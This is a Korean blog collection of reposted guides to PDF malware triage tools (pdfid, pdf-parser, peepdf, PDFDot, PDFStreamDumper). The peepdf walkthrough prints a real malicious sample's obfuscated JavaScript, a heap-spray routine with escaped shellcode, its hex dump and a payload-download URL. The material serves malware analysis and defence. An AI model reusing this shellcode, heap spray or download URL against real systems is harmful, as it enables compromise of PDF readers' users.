This tool is not a PDF parser, but it will scan a file to look for certain PDF keywords, allowing you to identify PDF documents that contain (for example) JavaScript or execute an action when opened. PDFiD will also handle name obfuscation.
The idea is to use this tool first to triage PDF documents, and then analyze the suspicious ones with my pdf-parser.
An important design criterium for this program is simplicity. Parsing a PDF document completely requires a very complex program, and hence it is bound to contain many (security) bugs. To avoid the risk of getting exploited, I decided to keep this program very simple (it is even simpler than pdf-parser.py).

PDFiD will scan a PDF document for a given list of strings and count the occurrences (total and obfuscated) of each word:
  • obj
  • endobj
  • stream
  • endstream
  • xref
  • trailer
  • startxref
  • /Page
  • /Encrypt
  • /ObjStm
  • /JS
  • /JavaScript
  • /AA
  • /OpenAction
  • /JBIG2Decode
  • /RichMedia
  • /Launch
  • /XFA
Almost every PDF documents will contain the first 7 words (obj through startxref), and to a lesser extent stream and endstream. I’ve found a couple of PDF documents without xref or trailer, but these are rare (BTW, this is not an indication of a malicious PDF document).
/Page gives an indication of the number of pages in the PDF document. Most malicious PDF document have only one page.
/Encrypt indicates that the PDF document has DRM or needs a password to be read.
/ObjStm counts the number of object streams. An object stream is a stream object that can contain other objects, and can therefor be used to obfuscate objects (by using different filters).
/JS and /JavaScript indicate that the PDF document contains JavaScript. Almost all malicious PDF documents that I’ve found in the wild contain JavaScript (to exploit a JavaScript vulnerability and/or to execute a heap spray). Of course, you can also find JavaScript in PDF documents without malicious intend.
/AA and /OpenAction indicate an automatic action to be performed when the page/document is viewed. All malicious PDF documents with JavaScript I’ve seen in the wild had an automatic action to launch the JavaScript without user interaction.
The combination of automatic action  and JavaScript makes a PDF document very suspicious.
/JBIG2Decode indicates if the PDF document uses JBIG2 compression. This is not necessarily and indication of a malicious PDF document, but requires further investigation.
/RichMedia is for embedded Flash.
/Launch counts launch actions.
/XFA is for XML Forms Architecture.
A number that appears between parentheses after the counter represents the number of obfuscated occurrences. For example, /JBIG2Decode 1(1) tells you that the PDF document contains the name /JBIG2Decode and that it was obfuscated (using hexcodes, e.g. /JBIG#32Decode).
BTW, all the counters can be skewed if the PDF document is saved with incremental updates.
Because PDFiD is just a string scanner (supporting name obfuscation), it will also generate false positives. For example, a simple text file starting with %PDF-1.1 and containing words from the list will also be identified as a PDF document.
Download:

MD5: 9B835D9E934A7AA7E68C3649A7AA5DAF
SHA256: 4DD43D7BDA885C5A579FC1F797E93A536E1DB5A4AB52A9337759A69D3B0250E0

'PDF' 카테고리의 다른 글

pdf-parser.py  (0) 2019.01.03
peepdf - PDF Analysis Tool  (0) 2019.01.03
PDFDot PDF 분석 및 시각화 도구  (0) 2019.01.03
PDFStreamDumper:PDF분석도구  (0) 2019.01.03
PDF 분석 툴 모음  (0) 2019.01.03
This tool will parse a PDF document to identify the fundamental elements used in the analyzed file. It will not render a PDF document. The code of the parser is quick-and-dirty, I’m not recommending this as text book case for PDF parsers, but it gets the job done.
You can see the parser in action in this screencast.

The stats option display statistics of the objects found in the PDF document. Use this to identify PDF documents with unusual/unexpected objects, or to classify PDF documents. For example, I generated statistics for 2 malicious PDF files, and although they were very different in content and size, the statistics were identical, proving that they used the same attack vector and shared the same origin.
The search option searches for a string in indirect objects (not inside the stream of indirect objects). The search is not case-sensitive, and is susceptible to the obfuscation techniques I documented (as I’ve yet to encounter these obfuscation techniques in the wild, I decided no to resort to canonicalization).
filter option applies the filter(s) to the stream. For the moment, only FlateDecode is supported (e.g. zlib decompression).
The raw option makes pdf-parser output raw data (e.g. not the printable Python representation).
objects outputs the data of the indirect object which ID was specified. This ID is not version dependent. If more than one object have the same ID (disregarding the version), all these objects will be outputted.
reference allows you to select all objects referencing the specified indirect object. This ID is not version dependent.
type allows you to select all objects of a given type. The type is a Name and as such is case-sensitive and must start with a slash-character (/).

MD5: 27D65A96FEAF157360ACBBAAB9748D27
SHA256: 3F102595B9EAE5842A1B4723EF965344AE3AB01F90D85ECA96E9678A6C7092B7

- -f 옵션은 복호화를 하고 -w옵션은 개행을 처리해 화면에 보여준다.
>pdf-parser.py d:\test.pdf -o 3 -f -w
obj 3 0
 Type:
 Referencing: 4 0 R
 Contains stream

  <<
    /Filter /FlateDecode
    /Length 4 0 R
  >>

q
50 0 0 50 0 50 cm
/Im1 Do
Q


'PDF' 카테고리의 다른 글

pdfid.py  (0) 2019.01.03
peepdf - PDF Analysis Tool  (0) 2019.01.03
PDFDot PDF 분석 및 시각화 도구  (0) 2019.01.03
PDFStreamDumper:PDF분석도구  (0) 2019.01.03
PDF 분석 툴 모음  (0) 2019.01.03
peepdf - PDF Analysis Tool

What is this?
peepdf is a Python tool to explore PDF files in order to find out if the file can be harmful or not. The aim of this tool is to provide all the necessary components that a security researcher could need in a PDF analysis without using 3 or 4 tools to make all the tasks. With peepdf it's possible to see all the objects in the document showing the suspicious elements, supports the most used filters and encodings, it can parse different versions of a file, object streams and encrypted files. With the installation of PyV8 and Pylibemu it provides Javascript and shellcode analysis wrappers too. Apart of this it is able to create new PDF files, modify existent ones and obfuscate them.
Usage
Usage: ./peepdf.py [options] PDF_file

Options:
  -h, --help            show this help message and exit
  -i, --interactive     Sets console mode.
  -s SCRIPTFILE, --load-script=SCRIPTFILE
                        Loads the commands stored in the specified file and
                        execute them.
  -c, --check-vt        Checks the hash of the PDF file on VirusTotal.
  -f, --force-mode      Sets force parsing mode to ignore errors.
  -l, --loose-mode      Sets loose parsing mode to catch malformed objects.
  -m, --manual-analysis
                        Avoids automatic Javascript analysis. Useful with
                        eternal loops like heap spraying.
  -u, --update          Updates peepdf with the latest files from the
                        repository.
  -g, --grinch-mode     Avoids colorized output in the interactive console.
  -v, --version         Shows program's version number.
  -x, --xml             Shows the document information in XML format.


$ ./peepdf.py -i


PPDF> help

Documented commands (type help <topic>):
========================================
bytes           errors       js_eval           open          sctest    
changelog       exit         js_join           quit          search    
create          filters      js_unescape       rawobject     set       
decode          hash         log               rawstream     show      
decrypt         help         malformed_output  references    stream    
embed           info         metadata          replace       tree      
encode          js_analyse   modify            reset         vtcheck   
encode_strings  js_beautify  object            save          xor       
encrypt         js_code      offsets           save_version  xor_search  

How does it work?
*  How can I execute the tool?
   The basic syntax is:
$ ./peepdf.py pdf_file
   
   But you can use the -f option to avoid errors and to force the tool to ignore them:
$ ./peepdf.py fcexploit.pdf
Error: Missing /Length in stream object!
$ ./peepdf.py -f fcexploit.pdf
File: fcexploit.pdf
MD5: 659cf4c6baa87b082227540047538c2a
SHA1: a93bf00077e761152d4ff8a695c423d14c9a66c9
Size: 25169 bytes
Version: 1.3
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 18
Streams: 5
Comments: 0
Errors: 1

Version 0:
  Catalog: 27
     Info: 11
        Objects (18): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 22, 23, 24, 25, 26, 27, 28]
           Errors (2): [11, 25]
    Streams (5): [5, 7, 9, 10, 11]
          Encoded (4): [5, 7, 9, 10]
      Objects with JS code (1): [5]
Suspicious elements:
          /OpenAction: [1]
              /JS: [4]
              /JavaScript: [4]
              getAnnots (CVE-2009-1492): [5]    
That's the default output, if you really want to explore and play with the PDF file use the interactive console (-i). These are some of the common commands:
* The tree command shows the logical structure of the file:
PPDF> tree

/Catalog (1)
/Fields (5)
array (2)
   /JavaScript (7)
             /Names (10)
                 /Action /JavaScript (12)
                            stream (13)
/Pages (4)
          /Page (9)
                   /Pages (4)
                  stream (11)
                 /ProcSet (8)
                /ProcSet (8)
        /Outlines (3)
       dictionary (6)
/Info (14)

* To view the physical structure of the file you will have to use the offsets command:
PPDF> offsets

       0 Header
      17
        Object  1 (260)
     276
     279
        Object  2 (19)
     297
     300
        Object  3 (48)
     347
     350
        Object  4 (78)
     427
     430
        Object  5 (33)
     462
     465
        Object  6 (21)
     485
     488
        Object  7 (41)
     528
     531
        Object  8 (68)
     598
     601
        Object  9 (187)
     787
     790
        Object  10 (52)
     841
     844
        Object  11 (85)
     928
     931
        Object  12 (50)
     980
     983
        Object  13 (1823)
    2805
    2808
        Object  14 (204)
    3011
    3014
        Xref Section (325)
    3338
    3341
        Trailer (69)
    3409
    3410 EOF
* With the metadata command you can see the metadata information in each version of the document:
PPDF> metadata

Info Object in version 0:

/Title
/ModDate 2008312053854
/CreationDate 2008312053854
/Producer Scribus PDF Library 1.3.3.12
/Trapped /False
/Creator Scribus 1.3.3.12
/Keywords
/Author
* The command rawobject shows the different objects without decodings, while the object command shows the content after the decoding process:
PPDF> object 1

/AcroForm 5 0 R
/Threads 2 0 R
/Names 7 0 R
/OpenAction <</S /JavaScript
/JS (this.uSQXcfcd2())>>
/Pages 4 0 R
/Outlines 3 0 R
/Type /Catalog
/PageLayout /SinglePage
/Dests 6 0 R
/ViewerPreferences <</PageDirection /L2R>>

PPDF> rawobject 1

1 0 obj
<< /#41#63#72#6f#46#6f#72#6d 5 0 R
/#54#68#72#65#61#64#73 2 0 R
/#56#69#65#77#65#72#50#72#65#66#65#72#65#6e#63#65#73  << /#50#61#67#65#44#69#72#65#63#74#69#6f#6e /#4c#32#52 >>
/#4f#70#65#6e#41#63#74#69#6f#6e << /#53 /#4a#61#76#61#53#63#72#69#70#74
/#4a#53 (\164\150\151\163\056\165\123\121\130\143\146\143\144\062\050\051) >>
/#50#61#67#65#73 4 0 R
/#4f#75#74#6c#69#6e#65#73 3 0 R
/#54#79#70#65 /#43#61#74#61#6c#6f#67
/#50#61#67#65#4c#61#79#6f#75#74 /#53#69#6e#67#6c#65#50#61#67#65
/#44#65#73#74#73 6 0 R
/#4e#61#6d#65#73 7 0 R >>
endobj
* The same idea is used with the streams:
PPDF> stream 13

function nofaq(lgc){var ppwsd="";for(rxr=0;rxr<lgc.length;rxr+=2){ppwsd+=(String.fromCharCode(parseInt(lgc.substr(rxr,5),19)));}eval(ppwsd);}nofaq("0D0A6452601D6 24C2B445F493F671D341D5F56651D38606052672223320D0A57635F54625A5G5F1D5D46494B3A223C2H30673 9261D42446438644523690D0A1D1D65595A5D561D223C2H306739285D565F5862591D241D2C1D331D4244643 8644523690D0A1D1D1D1D3C2H3067391D25341D3C2H306739320D0A1D1D6B0D0A1D1D3C2H3067391D341D3C2 H306739286163536162605A5F58222A261D4244643864451D291D2C23320D0A1D1D60566263605F1D3C2H306 739320D0A6B0D0A57635F54625A5G5F1D4D4A4D5G594E485522533956493F5823690D0A6452601D424840642 H39441D341D2A662A542A542A542A54320D0A1D1D1D1D1D1D605H5A574A58571D341D635F566154525H56221 F1I632E2D2E2D1I632E2D2E2D1I632A5756531I632D2D2F531I632G2G54301I632I2A53301I632I2A2A2B1I6 356572D2D1F1D250D0A1F1I63562C2E2D1I63565357521I63562I2A2F1I63575756541I63575757571I632I5 32H571I6355572E561I63565756571I632G2E56571I63562D52571I6330572G2E1I632E26161 ...      

PPDF> rawstream 13

78 9c 95 58 5b 4f dd 46 10 fe 2b 11 4f 1c 25 8a   |x..X[O.F..+.O.%.|
ec d9 8b 6d 51 1e 7c 39 6b fb b9 bf 80 a6 40 a2   |...mQ.|9k.....@.|
a6 d0 02 49 95 46 fd ef fd 66 af 5e db e7 90 c8   |...I.F...f.^....|
02 96 f5 ec 37 f7 99 1d df 7d 79 f8 f0 f2 e9 f1   |....7....}y.....|
e1 cd c3 e3 dd cd df 97 9f ef 3f 1c be 7f bd 79   |..........?...y|
7a f3 fc cf b7 6f 7f 5c 5f 5c 5c dd 3d 3e 5d be   |z....o\_\\.=>].|
fc fb 72 5d 5c e1 f7 2f 78 ff fe f3 ed c3 fd cb   |..r]\../x.......|
47 fe f7 ed 35 1d be 5b ca b7 d7 97 bf be 3c 7d   |G...5..[......<}|
...
* Other useful command is references, very helpful to know where an object is referenced and the references in an object:
PPDF> references to 12

[10]

PPDF> rawobject 10

10 0 obj
<</Names [(New_Script) 12 0 R]
>>
endobj

PPDF> references in 12

['13 0 R']
* If there are some objects with Javascript code in their content you can use the JS commands (PyV8 required) to analyze them (js_eval, js_join, js_unescape, js_analyse):
PPDF> js_analyse object 13

Javascript code:


var tX1PnUHy = new Array();
function lRUWC(E79yB, NPvAvQ){
  while (E79yB.length * 2 < NPvAvQ){
    E79yB += E79yB;
  }
  E79yB = E79yB.substring(0, NPvAvQ / 2);
  return E79yB;
}
function YVYohZTd(bBeUHg){
var NTLv7BP = 0x0c0c0c0c;
rpifVgf = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33" +
"%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64"+ "%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787"+ "%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3"+ "%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96" +
"%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66"+ "%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef"+ "%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64"+ "%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf..."

Unescaped bytes:
43 43 43 43 eb 0f 5b 33 c9 66 b9 80 01 80 33 ef   |CCCC..[3.f....3.|
43 e2 fa eb 05 e8 ec ff ff ff 7f 8b 4e df ef ef   |C..........N...|
ef 64 af e3 64 9f f3 42 64 9f e7 6e 03 ef eb ef   |.d..d..Bd..n....|
ef 64 03 b9 87 61 a1 e1 03 07 11 ef ef ef 66 aa   |.d...a........f.|
eb b9 87 77 11 65 e1 07 1f ef ef ef 66 aa e7 b9   |...w.e......f...|
87 ca 5f 10 2d 07 0d ef ef ef 66 aa e3 b9 87 00   |.._.-.....f.....|
21 0f 8f 07 3b ef ef ef 66 aa ff b9 87 2e 96 0a   |!...;...f.......|
57 07 29 ef ef ef 66 aa fb af 6f d7 2c 9a 15 66   |W.)...f...o.,..f|
aa f7 06 e8 ee ef ef b1 66 9a cb 64 aa eb 85 ee   |........f..d....|
b6 64 ba f7 b9 07 64 ef ef ef bf 87 d9 f5 c0 9f   |.d....d.........|
07 78 ef ef ef 66 aa f3 64 2a 6c 2f bf 66 aa cf   |.x...f..d*l/.f..|
87 10 ef ef ef bf 64 aa fb 85 ed b6 64 ba f7 07   |......d.....d...|
8e ef ef ef ec aa cf 28 ef b3 91 c1 8a 28 af eb   |.......(.....(..|
97 8a ef ef 10 9a cf 64 aa e3 85 ee b6 64 ba f7   |.......d.....d..|
07 af ef ef ef 85 e8 b7 ec aa cb dc 34 bc bc 10   |............4...|
9a cf bf bc 64 aa f3 85 ea b6 64 ba f7 07 cc ef   |....d.....d.....|
ef ef 85 ef 10 9a cf 64 aa e7 85 ed b6 64 ba f7   |.......d.....d..|
07 ff ef ef ef 85 10 64 aa ff 85 ee b6 64 ba f7   |.......d.....d..|
07 ef ef ef ef ae b4 bd ec 0e ec 0e ec 0e ec 0e   |................|
6c 03 eb b5 bc 64 35 0d 18 bd 10 0f ba 64 03 64   |l....d5......d.d|
92 e7 64 b2 e3 b9 64 9c d3 64 9b f1 97 ec 1c b9   |..d...d..d......|
64 99 cf ec 1c dc 26 a6 ae 42 ec 2c b9 dc 19 e0   |d.....&..B.,....|
51 ff d5 1d 9b e7 2e 21 e2 ec 1d af 04 1e d4 11   |Q......!........|
b1 9a 0a b5 64 04 64 b5 cb ec 32 89 64 e3 a4 64   |....d.d...2.d..d|
b5 f3 ec 32 64 eb 64 ec 2a b1 b2 2d e7 ef 07 1b   |...2d.d.*..-....|
11 10 10 ba bd a3 a2 a0 a1 ef 68 74 74 70 3a 2f   |..........http:/|
2f 62 69 6b 70 61 6b 6f 63 2e 63 6e 2f 6e 75 63   |/bikpakoc.cn/nuc|
2f 65 78 65 2e 70 68 70                           |/exe.php|


URLs in shellcode:
       http://bikpakoc.cn/nuc/exe.php

'PDF' 카테고리의 다른 글

pdfid.py  (0) 2019.01.03
pdf-parser.py  (0) 2019.01.03
PDFDot PDF 분석 및 시각화 도구  (0) 2019.01.03
PDFStreamDumper:PDF분석도구  (0) 2019.01.03
PDF 분석 툴 모음  (0) 2019.01.03
설명
PDF(Portable Document Format) 파일은 어도비 시스템즈에서 개발한 전자 문서 형식이다. 컴퓨터 환경에 관계없이 같은 표현을 하기 위한 목적으로 개발되었으며 장치 독립성 및 해상도 독립성을 가지고 있다. 상당수의 파일들이 이 형식으로 변환되어 사용되고 있다.
많은 사용자들이 사용하는 파일 포맷이다보니 취약점 공격도 꾸준히 나오고 있다. PDF 파일 포맷은 그 내부가 복잡하지는 않지만, 분석하기에는 무척 까다로운 비정형화 된 형식으로 구성되어 있다. 따라서 PDF 파일 분석이 용이하면서 한 눈에 PDF 구조를 시각화 할 필요가 있어 PDFDot 도구를 개발하게 되었다.
주요 기능

v0.23 (2013/10/24)
1. 스트림만 가진 오브젝트 출력 기능 (–stream 옵션)
2. 문자열 검색 기능 (-s 옵션)

v0.22 (2013/10/10)
1. 압축 해제 필터 인식 기능 강화

v0.21 (2013/10/07)
1. 다양한 압축 해제 필터 지원
(FlateDecode, ASCIIHexDecode, ASCII85Decode, LZWDecode, RunLengthDecode)

v0.2 (2013/10/01)
1. PDF trailer 추적 기능
2. Root Object 추출 (-r 옵션)
3. PDF 파일 포맷 중 점진적 업데이트 추적 기능 지원

v0.1 (2013/09/27)
1. PDF 오브젝트 추적 기능 (시각화 지원)
2. PDF 오브젝트 스트림 추출
3. PDF 오브젝트 압축 해제 지원 (FlateDecode만 지원)
사용법
PDF 파일은 다양한 오브젝트가 존재하며 이들의 참조로 구성이 되어 있다. 각각의 오브젝트들은 자신의 Type과 다양한 속성값 및 스트림을 포함하기도 한다. 대체로 악성코드들은 앞에서 언급한 오브젝트의 스트림으로 존재하는 경우가 대부분이다(물론 최악의 경우에는 스트림이 SWF 파일 포맷을 가지고, SWF 파일 내부의 ActionScript 형태로 가지는 경우도 있다).
분석을 위해 준비한 test.pdf 파일은 다음과 같다.
이제 PDFDot 프로그램을 통해서 test.pdf 파일의 오브젝트 구조를 살펴보도록 하겠다. 우선 PDFDot은 아래 링크에서 다운로드 받을 수 있다.
pdfdot_v0.23.zip : 958ab7ab0899f0ec9c146381f5aad53d
분석하고자 하는 PDF 파일을 PDFDot 프로그램의 인자값으로 넣어주는데 대체로 PDF의 루트(Root) 오브젝트는 1번 오브젝트이다. PDFDot 버전 0.20 이상 버전에서는 -r 옵션을 통해 루트(Root) 오브젝트를 확인할 수 있다.
C:\> pdfdot.exe test.pdf -r

이제 제일 먼저 분석해야 할 대상은 1번 오브젝트이다. 따라서 -o 옵션을 사용하여 1번 오브젝트를 지정하면 다음과 같은 화면이 나온다.
C:\> pdfdot.exe test.pdf -o1

PDF 파일을 분석하는데 있어서 가장 중요한 부분은 PDF 내부 참조 구조를 정확히 파악하는 것이 중요하다. 즉, 위 그림을 보면 오브젝트 1번은 2번과 4번 오브젝트를 참조하고 있다는 사실이다.
이제 -o 옵션의 숫자 값을 바꿔가면서 오브젝트의 참조 내용을 확인해보면 이를 간략히 표현하면 다음과 같은 형태가 될 것이다.

위의 그림은 수작업으로 PDF 구조를 그려본 것이다. 이렇게 보면 한눈에 PDF 내부 구조를 쉽게 알 수 있다. 하지만, 매번 PDF를 분석할 때마다 이 구조를 수작업으로 한다는 것은 무리가 있다. 그래서 PDFDot 프로그램에는 이를 자동으로 그려주는 -g 옵션이다.
우선 -g 옵션을 사용하기 위해서는 그래프를 그리기 위한 별도의 외부 프로그램인 Graphviz가 필요하다. 따라서 아래의 사이트에서 윈도우용 설치 프로그램을 다운로드 받아 설치한 다음 -g 옵션을 사용할 수 있다.
Graphviz가 설치 되었다면 다음과 같이 명령어를 입력해본다.
C:\> pdfdot.exe test.pdf -g test_pdf.png
이 명령어가 정상적으로 실행되었다면 test_pdf.png 파일이 생성될 것이며, 파일을 열어보면 아래와 같은 PDF 내부 구조를 보여주게 된다.

PDFDot 프로그램을 사용하여 PDF 내부 구조를 출력해보면 빨간색의 오브젝트 박스와 검은색의 오브젝트 박스를 볼 수 있다. 이 중에서 빨간색 오브젝트 박스에 주목해야 한다. 바로 악성코드가 존재할 가능성이 있는 오브젝트들을 표현하고 있기 때문이다.
앞서 PDF 악성코드들은 대체로 오브젝트의 스트림 형식으로 저장되어 있다고 하였다. 지금 이 PDF 내부 구조를 보면 문제의 오브젝트들은 1번, 4번, 5번, 7번번 9번이다. 따라서 이들 오브젝트들을 다시 -o 옵션을 사용하여 살펴본다.
그중에서 오브젝트 5번을 살펴보자.
C:\> pdfdot.exe test.pdf -o5

위 그림에서 확인할 수 있듯이 오브젝트 5번에는 281 Byte의 스트림이 포함되어 있으며, 압축되어 있는 상태이다. 이 스트림을 추출해보자. 추출하기 위해서는 -d 옵션을 사용하면 된다.
C:\> pdfdot.exe test.pdf -o5 -d obj5.dmp
이렇게 스트림을 추출하면 압축된 상태로 추출되므로 압축을 해제해야 한다. 압축 여부를 확인하는 방법은 오브젝트의 내용중 /Filter로 표현이 되어 있다면 압축된 형태라고 보면 되겠다(물론 압축이 아닌 경우도 있다). 따라서 압축을 해제 하기 위해서 -f 옵션을 함께 지정하면 압축 해제된 스트림을 얻을 수 있다. 하지만, /Filter로 지정되어 있지 않다면 -f 옵션을 사용해서는 안된다.
자, 이제 -f 옵션까지 사용하여 스트림으로 추출된 obj5.dmp 파일을 열어보자.
C:\> pdfdot.exe test.pdf -o5 -d obj5.dmp -f

그림에서 보는 것처럼 자바스크립트가 오브젝트 5번의 스트림으로 저장되어 있었다. 같은 방법으로 오브젝트 7번과 9번도 스트림을 추출해본다.

C:\> pdfdot.exe test.pdf -o7 -d obj7.dmp -f
C:\> pdfdot.exe test.pdf -o9 -d obj9.dmp -f

자바스크립트는 아니지만 ASCII로 구성된 내용을 확인할 수 있다. 오브젝트 5번의 자바스크립트가 오브젝트 7번과 9번 스트림 내용을 다시 복호화 하는 과정을 거치게 된다.
사실 이후부터는 자바스크립트에 대한 내용이라 여기서 소개하는 PDF의 분석 내용에서 벗어나는 주제이므로 생략하기로 한다.
지금까지 간단하게 PDFDot을 이용하여 PDF의 내부 구조를 시각화 하고 그중 악성코드로 의심되는 오브젝트를 선별한 다음 스트림 추출을 통해 악성코드를 진행하는 것을 살펴보았다. 분석을 하다보면 이 보다 더 다양한 형태의 PDF를 보게 되겠지만, 거의 대체로가 이런 순서를 통해 PDF 악성코드를 분석하게 된다.

위 글에 대해 별도의 문의 사항이 있다면 hanul93@gmail.com으로 메일 보내주시기 바란다.


출처 : www.nurilab.com


'PDF' 카테고리의 다른 글

pdfid.py  (0) 2019.01.03
pdf-parser.py  (0) 2019.01.03
peepdf - PDF Analysis Tool  (0) 2019.01.03
PDFStreamDumper:PDF분석도구  (0) 2019.01.03
PDF 분석 툴 모음  (0) 2019.01.03
※ 주의사항
아래 공격 코드는 연구 목적으로 작성된 것이며, 허가 받지 않은 공간에서는 테스트를 절대 금지합니다.
악의 적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신한테 있습니다. 이는 해당 글을 열람할 때 동의하였다는 것을 의미합니다.
해당 문서의 저작권은 해당 저자에게 모두 있습니다. 외부에 공개시 법적 조치가 가해질 수 있습니다.
pyew에 포함되어 있는 콘솔환경 도구(pdfid, pdfparser 등)가 아닌 PDF악성코드 분석 대표적인 도구인 PDFStreamDumper를 활용하겠다. PDFStreamDumper는 로우포멧에서 PDF 파일을 파싱하고 분석할 수 있도록 구성된 도구이다. 도구의 주요 기능은 아래와 같이 포함되어 있으며 이외에도 많은 플러그인형태 기능이 포함되어 있다.
 
  • 모든 PDF오브젝트를 분석
  • 압축되어 있는 스트림값들을 분석
  • 파일 오프셋(offset), 헤더 등 스트림 상세내역 분석
  • AS3 Sorcerer를 이용하여 플래시 액션스크립트 3를 복원 가능
  • 인코드되어 있는 PDF헤더들을 복호화 가능
  • 스트림값들 안에 문자열들을 검색 가능
  • 헥스 덤프파일들로 스트림값들 확인 가능
  • 암호화되어 있는 PDF파일을 복호화
  • js beautifier를 이용하여 자바스크립트 포멧으로 변환
  • 난독화 되어 있는 자바스크립트 함수들, 인자값들을 다시 정의하여 표시
 
PDFStremDumper 프로그램은 친절하게 마지막 메뉴 Help_Videos에 메뉴얼 동영상을 링크걸어두었다. 프로그램 소개부터 활용하는 것까지 동영상 강의 형식으로 제공하기 때문에 사용을 할 시에 동영상을 참고하여 기능을 습득해보자.
 

그림 37 PDFStreamDumper 도움말 동영상 다운로드
 
 
문자열에서 악의적으로 이용되는 스크립트를 발견하였지만, 이문자열을 바로 분석하기에는 어려움이 발생한다. 상단에 Javascript_UI를 클릭하면 스크립트 분석용 윈도우가 나타난다.
 

그림 38 PDFStreamDumper를 활용한 코드 분석
 
 
정리가 되지 않은 스크립트를 상태에서 상단의 Format_Javascript를 클릭하면 스크립트 문법에 맞게 함수와 변수 및 제어문들이 분석할 수 있는 수준까지 정리가 된다. 여기에서 Exploit_Scan을 클릭하면 취약점 데이터베이스와 비교를 하여 해당 스크립트를 사용하고 있는 취약점들에 대한 목록을 출력한다. PDF파일은 이와 같이 손쉽게 취약점 여부를 판단할 수 있다.
 

그림 39 PDFStreamDumper를 활용한 자바스크립트 분석
 
 
공격 스크립트가 포함된 다른 PDF문서도 분석을 한 결과, 취약점에 대한 정보가 한번에 나타난다.
 

그림 310 PDFStreamDumper를 활용한 Exploit정보 확인
 
 
Shellcode_Analysis > Shellcode2 Exe를 이용하여 파일내 악성코드 바이너리 파일을 분류한다. 생성된 EXE파일을 바이러스토탈 서비스를 통해 분석하면 대부분 벤더사에서 악성코드로 판별을 한다.
 

그림 311 스크립트내에서 확인한 Shellcode 저장
 
 

그림 312 스크립트내에서 확인한 Shellcode 저장

출처: http://blog.naver.com/PostView.nhn?blogId=chogar&logNo=80195561205


'PDF' 카테고리의 다른 글

pdfid.py  (0) 2019.01.03
pdf-parser.py  (0) 2019.01.03
peepdf - PDF Analysis Tool  (0) 2019.01.03
PDFDot PDF 분석 및 시각화 도구  (0) 2019.01.03
PDF 분석 툴 모음  (0) 2019.01.03

pdftk 자료 : https://www.pdflabs.com/docs/pdftk-cli-examples/


참고 자료 : http://god2zuzu.blog.me/220163726560




'PDF' 카테고리의 다른 글

pdfid.py  (0) 2019.01.03
pdf-parser.py  (0) 2019.01.03
peepdf - PDF Analysis Tool  (0) 2019.01.03
PDFDot PDF 분석 및 시각화 도구  (0) 2019.01.03
PDFStreamDumper:PDF분석도구  (0) 2019.01.03

+ Recent posts